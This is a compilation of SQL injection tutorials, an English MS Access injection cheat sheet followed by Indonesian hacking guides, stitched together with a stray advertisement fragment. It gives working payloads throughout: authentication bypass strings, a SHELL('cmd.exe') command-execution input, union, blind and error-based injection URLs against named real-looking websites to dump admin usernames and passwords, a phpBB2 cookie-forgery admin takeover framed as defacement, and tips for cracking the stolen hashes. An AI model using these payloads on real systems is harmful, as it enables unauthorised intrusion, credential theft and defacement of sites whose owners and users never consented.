Access SQL Injection

============================================================================
% Access SQL Injection
% brett.moore () security-assessment com
============================================================================

Nothing new here, move along..

****************************************************************************
% MS Access system tables
****************************************************************************
        MSysACEs
        MSysObjects
        MSysQueries
        MSysRelationships

****************************************************************************
% MS Access command execution, (older versions only)
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if

[Auth Page Bypass]

        user = |SHELL("cmd.exe /c dir > c:\test.txt")|
        pass = test

****************************************************************************
% Auth Bypass, Basic
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if

[Auth Page Bypass]

        user = ' or '1'='1
        pass = test

****************************************************************************
% Auth Bypass, Simple
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT user,pass FROM users where user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                if (rs("pass") = pass) then
                        ' Access Allowed
                else
                        ' Access Denied
                end if
        end if

[Auth Page Bypass Using Shares]

        user = ' union select name,password  from table1 in '\\share\test\test.mdb
        pass = password that is set in \\share\test\test.mdb

[Auth Page Bypass Local mdbs]

        user = ' union select '0test','0test' from customers in
'C:\winnt\Help\iisHelp\iis\htm\tutorial\eecustmr.mdb'
        pass = 0test

[Union Notes]

        Remeber when using unions the sort order can affect the first record
returned.

****************************************************************************
% System Path Disclosure
****************************************************************************
[Sql String]
        user = test' union select names from msysobjects in '.

[ODBC Response]

        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine
cannot
        open the file 'C:\WINNT\system32'. It is already opened exclusively by
another user,
        or you need permission to view its data.

****************************************************************************
% Verify File Exists
****************************************************************************
[Sql String - non-existant file]
        user = test' union select name from msysobjects in '\proof

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Could not find file 'C:\proof'.

[Sql String - existant]
        user = test' union select name from msysobjects in '\proof.txt

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Unrecognized database format
'C:\proof.txt'.

****************************************************************************
% Verify Path Exists
****************************************************************************
[Sql String - non-existant path]
        test' union select name from msysobjects in '\nopath\sqlerr

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] 'C:\nopath\sqlerr' is not a valid
path.
        Make sure that the path name is spelled correctly and that you are
connected to the
        server on which the file resides.

[Sql String - existant path]
        user = test' union select name from msysobjects in '\inetpub\sqlerr

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Could not find file
'C:\inetpub\sqlerr'.



---------------------------------------------------------------------------
*** Wireless LAN Policies for Security & Management - NEW White Paper ***
Just like wired networks, wireless LANs require network security policies 
that are enforced to protect WLANs from known vulnerabilities and threats. 
Learn to design, implement and enforce WLAN security policies to lockdown enterprise 

SQL Injection Pada PHP

DORK
Code:
inurl:news_detail.php?id=


Contoh target
Code:
http://www.lbpl.in/news_detail.php?id=14

masukian tanda petik (')
kurang lebih seperti di bawah ini
Code:
http://www.lbpl.in/news_detail.php?id=14'

lalu muncul error seperti
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

berarti site ini Vuln, setelah terdapat error seperti di atas gunakan perintah ORDER BY untuk mencari panjang column, dan jangan lupa gunakan -- di belakang angka yang di masukan :lol:
contoh nya seperti di bawah ini
http://www.lbpl.in/news_detail.php?id=14%20order%20by%201--
tidak menampilkan eror coba gunakan order by 10 atau 100
kurang lebih nya seperti contoh
Code:
http://www.lbpl.in/news_detail.php?id=14%20order%20by%2010--

order by 10 site mengeluarkan error seperti Unknown column '10' in 'order clause' berarti panjang column tidak sampai 10 :lol: coba gunakan order by 5 untuk mengecek nya.. ternyata site masih mengeluarkan error seperti di atas gunakan lagi order by 4 untuk mengecek yang ke 3 kali nya.......... sssttttt site tidak menampilkan error setelah itu gunakan perintah UNION+ALL+SELECT+1,2,3,4-- loh kok cuma sampai 4 karena batas eror nya ada di column 4, jangan lupa gunakan gunakan (-) kurang lebih contoh nya seperti di bawah
Code:
http://www.lbpl.in/news_detail.php?id=-14 union all select 1,2,3,4--

setelah menggunakan perintah UNION+ALL+SELECT+1,2,3,4-- site tidak mengeluarkan error melainkan mengeluarkan angka angka ajaib kenapa di sebut ajaib karena dengan angka itu kita bisa melanjutkan SQLInjection he2
setelah angka muncul gunakan perintah VERSION() column angka, contoh nya di bawah ini
Code:
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,version(),3,4--

setelah menggunakan perintah VERSION() muncul seperti 5.0.77MM0.1-LOG
ternyata versi 5 beruntung lah gw malam ini ck ck soal nya kalo Versi 4 musti tebak tebak table nya ok masalah versi 4 ntr nyusul lagi :P
setelah mengetahui versinya ganti perintah VERSION() dengan GROUP_CONCAT(TABLE_NAME) serta berikan perintah FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()-- di belakang column, perintah tersebut untuk mengetahi nama nama table pada database;) kurang lebih contohnya di bawah ini
Code:
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(TABLE_NAME),3,4%20FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--

Setelah menggunakan perintah di atas muncul ADMIN,BANNER,CATALOGUE,NEWS,USERS,VIDEO Gunakan table admin, sebelum nya kita meng-konversi dolo table admin menjadi bentuk hexadecimal_sql seperti 0x41444d494e kurang lebih contoh nya seperti
Code:
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(column_NAME),3,4%20FROM+INFORMATION_SCHEMA.columnS+WHERE+TABLE_name=0x41444d494e--

setelah itu muncul ID,USERNAME,PASS inilah detik detik menuju ahir :D ganti Column_name dengan 0x2b,USERNAME,PASS kurang lebih nya lihat contoh yang terahir kali nya.... :lol: :lol: :lol: :lol: :lol:
Code:
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(0x2b,USERNAME,PASS),3,4%20FROM+admin--

nah ahir dari perjalanan ini adalah ADMINADMIN Username = admin Pass = admin

Cukup sampai di sini Tutorial CUPU dari gw kalo ada salah kata atau penempatan tulisan tolong di koreksi, sekian dan Terima kasih.....

Blind SQLi

Apa sich Blind SQL Injection tu?

Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...

disini GT memakai command :

mid()= hampir sama fungsinya dengan substring()
char()= adalah peubah dari karakter

lanjut..

ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4..kita memakai blind,karena v4 tidak support query information_schema

kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw

lanjut...

Target: http://www.smanti.com (thx to bejamz udah ngasih target :)

1.PENGETESAN BUG

Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1


http://www.smanti.com/berita.php?id=5 and 1=0 <<

http://www.smanti.com/berita.php?id=5 and 1=1 <<

eh ternyata ada bug nya...

lanjut....

2.BLIND INJECT

Query yg dipakai: and mid(user(),1,1)=CHAR(65)

saya jelaskan sedikit deh..

mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut

sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...

lanjut..

mari kita masukkan

http://www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)

ternyata hasilnya masih false (beritanya hilang)

berarti value yg kita masukkan salah..

tinggal tambah value na..jadi..

http://www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <

http://www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <

http://www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <

http://www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <

dst sampe kita menemukan keadaan true(beritanya muncul kembali)

kebetulan ada di char(83)

http://www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <

cape?masih kuat?hahaha..trial n error...

lanjut..

kita tambain value na..

http://www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)

adakah perbedaan nya?

yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..

gini nih..

1,1 = value pertama user
1,2 = value kedua user
1,3 = value ketiga user
dst
dan 83 adalah nilai true,lalu kita tambahkan..

http://www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)

http://www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)

http://www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)

dst.. sampe dpet yg true..

ternyata yg true ngumpet di value 77

http://www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)


lanjutin trus langkah2na..

cari value k 3 user..

http://www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)

eh langsung ktemu..hehehe..

lanjut value k 4..

http://www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)


http://www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)


http://www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)

ternyata ktemu di value 78..

http://www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)

lanjut trus aja...

cape gw..


pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table

http://www.piclist.com/techref/ascii.htm

stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN

nah udah hampir ktebak user name nya..kerjain ndiri y..okey

nah..gmana kalo mw dapet password na?

kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..

jadi


http://www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)

cari lagi..sama kayak cari user tadi..harus sabar..

ulangi sampai dapat true ..

tambain value na..wkwkwkw..

dan rubah value database() untuk mencari value lainnya..

hingga mendapat admin password dan db password
.
metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)

akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...

Takeover Phpbb2

Langkah-Langkah Deface PHPBB/PHPBB2 Loser_cs_20
1. Download browser Mozilla FireFox

2. Download pluginnya yg bernama LiveHTTPHeader
download di http://livehttpheaders.mozdev.org/installation.html
cari yg paling baru

3. selanjutnya cari target dengan Uncle Google dgn syntax :
phpBB site:[terserah apa aja]

4. setelah itu buka plugin yg kita download tadi di Tools -> LiveHTTPHeader

5. Ingat, isi LiveHTTPHeader harus kosong

6. buka situs target, dengan begitu LiveHTTPHeader akan mengambil semua cookie yg tercatat di halaman target

7. setelah halaman sukses terbuka ditandai dengan tanda "done" di bawah browser, langkah selanjutnya adalah mengklik LiveHTTPHeader di bagian tengahnya dilanjutkan mengklik opsi Replay..

8. setelah LiveHTTPReplay terbuka liat bagian seperti dibawah ini pada LiveHTTPReplay...

Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; phpbb2mysql_sid=88da2bbdc1a3a789df094d50d91f7e3b

9. Hapus bagian yg belakang setelah tanda semi colon (

Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; phpbb2mysql_sid=88da2bbdc1a3a789df094d50d91f7e3b

\_______________hapus bagian ini_________________/

jadinya akan seperti ini :

Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D

10. lalu klik replay lagi, sehingga halaman target akan mereload semua perintah cookie yg telah kita manipulasi

11. selanjutnya perhatikan langkah di bawah ini:

Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D
\________hapus bagian ini dan di ganti dengan:

Cookie: phpbb2mysql_data=a:2{s:11:"autologinid";s:32:"602baahpepms74d4cb6f2d012e1e4019";s:6:"userid";s:1:"2";}

12. lalu klik replay lagi, sehingga halaman target akan mereload semua perintah cookie yg telah kita manipulasi tadi.

13. perhatikan lagi langkah ini:

Cookie: phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"602baahpepms74d4cb6f2d012e1e4019";s:6:"userid";s:1:"2";}
\___________________________bagian ini jg digantilagi_______________________________/

menjadi seperti ini:

Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

14. lalu klik replay lagi, sehingga halaman target akan mereload semua perintah cookie yg telah kita manipulasi tadi.

15. selesai, silakan liat halaman target, kalo anda beruntung anda mendapatkan full admin.
Silakan pergi ke bawah halaman dan lihat opsi "Go To Administration Panel" kalo muncul
----------------------------------------------------------------------

Injection on ASP

Kali ini kita akan bahas bagaimana cara SQL Injection pada web asp.
Sekarang kita coba untuk mencari target menggunakan dork inurl:"/e/product/product_list.asp?brand_id=".

misalnya

Target:
http://www.mygarbo.com/e/product/product_list.asp?brand_id=7
Sama seperti php, kita cek apakah web tersebut vuln SQL Injection, kita tes dengan cara menambahkan ' pada akhir url.
http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'

Microsoft OLE DB Provider for ODBC Drivers '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '7' '.
/e/include/i_search.asp,909

Error yang kita cari ialah "Unclosed quotation mark before the character string"

Sekarang kita munculkan nama tablenya
Perintah: and 1=convert(int(select top 1 table_name from information_schema.tables))--
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'and%201=convert(int(select%20top%201%20table_name%20from%20information_schema.tables))--


Kemudian muncul error
Microsoft OLE DB Provider for ODBC Drivers '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'select' to a column of data type int.
/e/include/i_search.asp, 909
Dari error tersebut, kita tahu bahwa nama tabelnya adalah select.

Sekarang kita munculkan nama tabel berikutnya.
Perintah: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tabel1')))--
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7%27and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20(%27select%27)))--

Kemudian keluar error
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'b2b_so_message' to a column of data type int.
Nama tabel kedua adalah:"b2b_so_message",

sekarang kita cari nama tabel ketiga.
Perintah: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tabel1','table2')))--
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('select','b2b_so_message')))--

Keluarlah error lagi,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'b2b_spec_matrix' to a column of data type int.
Nama tabel ketiga adalah:"b2b_spec",

sekarang kita munculkan nama tabel keempat.
Perintah: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1','table2','table3')))--
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('select','b2b_so_message','b2b_spec')))--

Muncullah tabel keempat dalam error berikut.
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'b2b_spec_matrix' to a column of data type int.
Nama tabel keempat adalah "b2b_spec_matrix", kita munculkan lagi tabel

selanjutnya, yaitu tabel kelima.
Perintah:and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1','table2','table3','table4')))--
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('select','b2b_so_message','b2b_spec','b2b_spec_matrix')))--

Nah,teruskan cari semua tabelnya n catat satu2 nama tabel tadi
selanjutnya silahkan cari nama tabel lain yang anda anggap lebih menarik.

Misalkan saja kita sudah mendapat tabel yang kita inginkan, misal tabel yang saya inginkan adalah "b2b_supplier"
Sekarang kita coba untuk memunculkan nama nama kolom dalam tabel tersebut.
Perintah: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='nama_tabel'))--
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name='b2b_supplier'))--

kemudian, keluarlah error.

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'supplier_id' to a column of data type int.
Dari error itu, kita bisa tahu bahwa nama salah satu kolom tabel "b2b_supplier" adalah "supplier_id".

Sekarang kita mencoba untuk menampilkan nama kolom selanjutnya.
Perintah: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='nama_tabel' and column_name not in ('nama_kolom1')))--
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name='b2b_supplier'%20and%20column_name%20not%20in%20('supplier_id')))--

muncul error
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 's_loginname' to a column of data type int.


Kita munculkan nama kolom selanjutnya.
Perintah: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='nama_tabel' and column_name not in ('nama_kolom1','nama_kolom2')))--
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name='b2b_supplier'%20and%20column_name%20not%20in%20('supplier_id','s_loginname')))--

Akhirnya muncul error yang ditunggu - tunggu.
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 's_password' to a column of data type int.
Nama kolom ketiga adalah "s_password"

Sebetulnya masih banyak nama kolom lainnya, namun cukup sampai sini saja.

Sekarang kita munculkan data yang ada dalam kolom tersebut.
Perintah untuk 1 kolom: and 1=convert(int,(select top 1 nama_kolom from nama_tabel)
Perintah untuk beberapa kolom: and 1=convert(int,(select top 1 nama_kolom1%2b':'%2bnama_kolom2%2b':'%2bnama_kolom3 from nama_tabel))--
Dengan penjelasan.
%2b merupakan + , dan : sebagai pembatas.
URL:http://www.mygarbo.com/e/product/product_list.asp?brand_id=7'and%201=convert(int,(select%20top%201%20supplier_id%2b':'%2bs_loginname%2b':'%2bs_password%20from%20b2b_supplier))--

sql injection for newbie

A. Definisi

Teknik yang digunakan attacker untuk mengeksekusi query database di url untuk mendapatkan akses membaca informasi-informasi rahasia pada situs target.

B. Pendahuluan

Mungkin ada yang bertanya, “kenapa v.5?”.
Karena pada v.5, terdapat database default yang tidak bisa diubah namanya. Dengan kata lain nama databasenya sudah ditentukan sendiri yaitu “information_schema” yang berisi nama-nama tabel antara lain:

CHARACTER_SETS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMNS, COLUMN_PRIVILEGES, KEY_COLUMN_USAGE,
OUTINES, SCHEMATA, SCHEMA_PRIVILEGES, STATISTICS, TABLES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES, TRIGGERS,
USER_PRIVILEGES, VIEWS

Sedangkan untuk v.4 tidak memiliki database default. Sehingga Admin maupun Web Programmer bisa memberikan nama databasenya masing-masing. Lalu kenapa? Jawabannya akan terjawab di sela-sela tutorial ini.

C. Langkah Kerja

1. Tentukan Target
Target bisa Anda temukan menggunakan “Google Dork” (definisinya Anda bisa mencari sendiri)
Misalkan url target:
http://www.target.com/index.php?id=1

2. Cek Sql Injection Vulnerability
Gunakan salah satu query di bawah ini:
http://www.target.com/index.php?id=1
http://www.target.com/index.php?id=-1
http://www.target.com/index.php?id=null
http://www.target.com/index.php?id=1 and 1=0–
Jika pada halaman tersebut terdapat error message, atau ada bagian yang hilang, Anda mulai bisa tersenyum simpul .
Artinya situs tersebut menampakkan gejala awal kesalahan yang luput dari pandangan sang Admin, Developer, ataupun Web Programmernya.

3. Mencari Jumlah Kolom
http://www.target.com/index.php?id=1 order by 100–
Jika keluar pesan error Unknown column ‘100? in ‘order clause’, Anda boleh tersenyum lebih lebar . Tapi ada juga yang tidak bereaksi seperti itu dengan query tersebut. Misalnya ada page yang hilang, atau ada pesan error sql yang lain. Tapi apapun hasilnya, lebih baik kita lanjutkan ke langkah berikutnya. Oiy sebelum berlanjut, jika ini terjadi, artinya jumlah kolomnya lebih sedikit dari 100.

http://www.target.com/index.php?id=1 order by 1–
Jika setelah diinject dengan query tersebut halamannya terlihat normal, maka bisa kita lanjutkan ke langkah
berikutnya. Tetapi jika masih tetap error, sayang sekali Anda kurang beruntung. Ok, jika misalka halamannya terlihat normal, kita lanjutkan dengan mencari jumlah kolomnya. Ganti-ganti nilai order by dengan angka lain antara 1-100. Saran ane lanjutkan dengan angka 10.

http://www.target.com/index.php?id=1 order by 10–
Jika dengan angka 10 halamannya masih terlihat normal, berarti jumlah kolomnya lebih besar dari 10, tetapi jika keluar pesan error, maka jumlah kolomnya lebih kecil dari 10. Lanjutkan pencarian jumlah kolo sampai didapatkan batas errornya, maksudnya misalkan setelah dicoba-coba, pada angka 5 halama normal, tap pada angka 6 halaman error, ini berarti jumlah kolomnya adalah 5.

4. Mencari “Magic Number”
Langkah selanjutnya mencari angka “ajaib”. Masukkan secara berurutan jumlah kolom yang Anda temukan sebelumnya (misalnya disini ane menemukan jumlah kolomnya 5). But wait!! Sebelumnya kita harus mengganti isi data dari kolom id dengan sesuatu yg tidak ada di situs tersebut. Misalkan id=null, id=99999, atw id=-1. Mengapa begitu? karena query yang akan kita eksekusi memanfaatkan error message yang tertulis di situs target. Jadi isi data dari kolom id harus diexecute dengan sesuatu yg mengakibatkan halaman tersebut error. Misalkan:
http://www.target.com/index.php?id=-1 union select 1,2,3,4,5–
http://www.target.com/index.php?id=null union select 1,2,3,4,5–
http://www.target.com/index.php?id=9999 union select 1,2,3,4,5–

Dari sini terserah Anda menggunakan query yang mana, yang penting berhasil. Ane gunakan salah satunya aja yaitu:
http://www.target.com/index.php?id=null union select 1,2,3,4,5–

Abrakadabra… keluarlah angka ajaibnya…
Misalnya angka ajaib yang keluar adalah angka 3 (angka ajaib yang keluar bisa lebih dari satu), maka di query
yang sebelumnya, kita akan mengganti angka 3 dengan query-query yang lain

mencari nama database :
http://www.target.com/index.php?id=null union select 1,2,database(),4,5–
mencari nama user :
http://www.target.com/index.php?id=null union select 1,2,user(),4,5–
mencari versi MySQL :
http://www.target.com/index.php?id=null union select 1,2,version(),4,5–

5. Mencari Versi MySQL
Versi MySQL dapat dicek dengan menggunakan query diatas. Jika hasilnya v.4, penulis menyarankan untuk tidak melanjutkan membaca tutorial ini. Karena dari judulnya saja sudah jelas bahwa ini tutorial untuk v.5. Akan tetapi, jika Anda masih bersikeras untuk menghajar situs tersebut, Anda bisa menggunakan script tools seperti Schemafuzzy.py atau yang lainnya (script schemafuzzy.py bisa di download di section Downloads). Cara menggunakannya? Tidak akan ada di tutor ini :P . Okey, misalnya setelah query untu mencari versi MySQL diexecute, hasilnya menunjukkan bahwa situs tersebut menggunakan MySQL versi 5, maka silahkan melanjutkan membaca tutorial ini.

6. Mencari Nama-nama Tabel
http://www.target.com/index.php?id=null union select 1,2,group_concat(table_name),4,5from information_schema.tables where table_schema=database()–
Mulai dari langkah inilah perbedaan metode antara MySQL v.4 dan v.5. Seperti yang dijelaskan sebelumnya diatas, bahwa pada v.4, tidak ada database default seperti yang ada pada v.5. Sehingga pada v.4 tidak bisa menggunakan query diatas. Karena kita tidak tahu nama databasenya. Sedangkan pada v.5 sudah ada nama database defaultnya yaitu “information_schema”. Sehingga jika ingin mempenetrasi situs yang menggunakan MySQL v.4, attacker harus bisa menebak-nebak nama databasenya. Inilah yang dinamakan Blind SQL Injection.

Lanjutkan untuk v.5. Jika query diatas diexecute, maka akan keluar sederetan nama-nama tabelnya. Pilih salah satu nama tabel yang mencurigakan, maksudnya disini adalah nama tabel yang kira-kira berisi password. Misalnya di deretan nama-nama tabel tersebut ada nama tabel “admin”. Langkah selanjutnya adalah mengintip nama-nama kolom dari tabel “admin”. Tapi sebelum kita melanjutkan, ada beberapa kasus dimana browser tidak dapat memuat seluruh nama-nama tabel karena banyaknya. Untuk dapat membaca semua nama-nama tabelnya, gunakan fungsi limit :

http://www.target.com/index.php?id=null union select 1,2,(table_name),4,5 from information_schema.tables limit
0,1–
Kemudian ganti nilai 0 dengan 1
http://www.target.com/index.php?id=null union select 1,2,(table_name),4,5 from information_schema.tables limit
1,1–
dan seterusnya hingga didapat nama tabel yang mencurigakan.

7. Mencari Nama-nama Kolom
Selanjutnya mencari nama-nama kolom dari tabel “admin” :
http://www.target.com/index.php?id=null union select 1,2,group_concat(column_name),4,5 from
information_schema.columns where table_name=’admin’–

Apakah keluar nama kolomnya? Mungkin tidak . Karena kita harus merubah text “admin” ke dalam bentuk hexa.
Bagi yang belum mengetahui caranya, bisa menggunakan tools di http://www.pl4y31286.0fees.net/tools/text/.
Setelah diubah ke hex, text “admin” akan menjadi “61646D696E”. Masukan hex tersebut (jangan lupa ditambahkan 0x
didepannya ) ke query sebelumnya, sehingga menjadi :
http://www.target.com/index.php?id=null union select 1,2,group_concat(column_name),4,5 from
information_schema.columns where table_name=0×61646D696E–
Misalnya nama kolom yang keluar adalah username dan password. Selanjutnya kita akan mengintip isi kolomnya.

8. Membaca Isi Kolom
Setelah kita menemukan kolom yang kita cari, selanjutnya adalah mengintip isi kolom tersebut. Caranya :
http://www.target.com/index.php?id=null union select 1,2,group_concat(username,0×3a3a,password),4,5 from admin–

Gothca!!!
Keluarlah data-data rahasia tersebut. Disana terlihat nama user beserta passwordnya yang digunakan untuk login.
Jika situs target adalah situs pribadi, kemungkinan besar username dan password yang terlihat hanya satu. Tetapi jika situs target merupakan situs komunitas, maka kemungkinan username dan password yan terlihat lebih dari satu.
Asumsi situs target adalah situs pribadi. Di bawah ini adalah salah satu contoh hasil eksekusi.
admin::pass123

“admin” merupakan username yang digunakan untuk login sebagai admin atau webmaster situs target, dan “pass123″ adalah passwordnya. Sedangkan “::” adalah string dari hexa “3a3a”. Double colone tersebu digunakan sebagai pembatas agar antara username dan password tidak tercampur.

Adakalanya hari sial menimpa Anda. Yaitu ketika passwordnya telah dienkripsi ataupun dihashing. Misalnya yang terlihat adalah pass yang sudah di enkripsi menggunakan enkripsi base64 seperti di bawah ini:
admin::cGFzczEyMw==

Atau pass yang sudah dihashing menggunakan MD5 :
admin::32250170a0dca92d53ec9624f336ca24

Sebenarnya jika sesuai judul, maka tutor ini selesai sampai disini. Tapi agar lebih gregetz , penulis
menambahkan sedikit finishing touch-nya.

D. Penyelesaian

9. Decrypting & Cracking

Decrypting termasuk cracking, tetapi cracking tidak selamanya decrypting. Enkripsi base64 bisa didekrip dengan mudah menggunakan situs-situs yang menyediakan decoder base64. Salah satunya ada di web ini :
http://www.pl4y31286.0fees.net/tools/text/
Sedangkan MD5 adalah salah satu metode hashing yang paling populer untuk saat ini. Beda denga encrypting (walaupun banyak yang bilang MD5 adalah encrypting), hashing tidak dapat di reverse a.k.a di decrypt. Akan sangat panjang untuk menjelaskan alasannya. So, mulai sekarang berteman akrablah dengan yang namanya google, dan wikipedia .

Lalu bagaimana cara mengetahui passwordnya? Yaitu dengan men-crack-nya dengan beberapa teknik crack. Salah satunya dengan teknik Rainbow Table. Jika di PC anda belum terinstall software yang mendukung, Anda bisa memanfaatkan sarana situs cracker MD5 online. Berikut ini nama-nama situs yang bisa dijadikan rujukan untuk mengcrack hash MD5 secara online :
md5crack
md5google
passcracking
gdataonline
rednoize

Jika hash yang Anda temukan tidak ada di dalam database mereka, tetapi Anda masih tetap ingin menjadi admin site tersebut, Anda bisa menggunakan teknik crack lain, seperti Brute Force, Rainbow Table, Dictionary Attack. Tools yang bisa digunakan banyak, Cain n Abel, John The Ripper, dll. Salah satu tool brute force yaitu dengan menggunakan script perl di bawah ini :

Script Perl for MD5 Brute Force

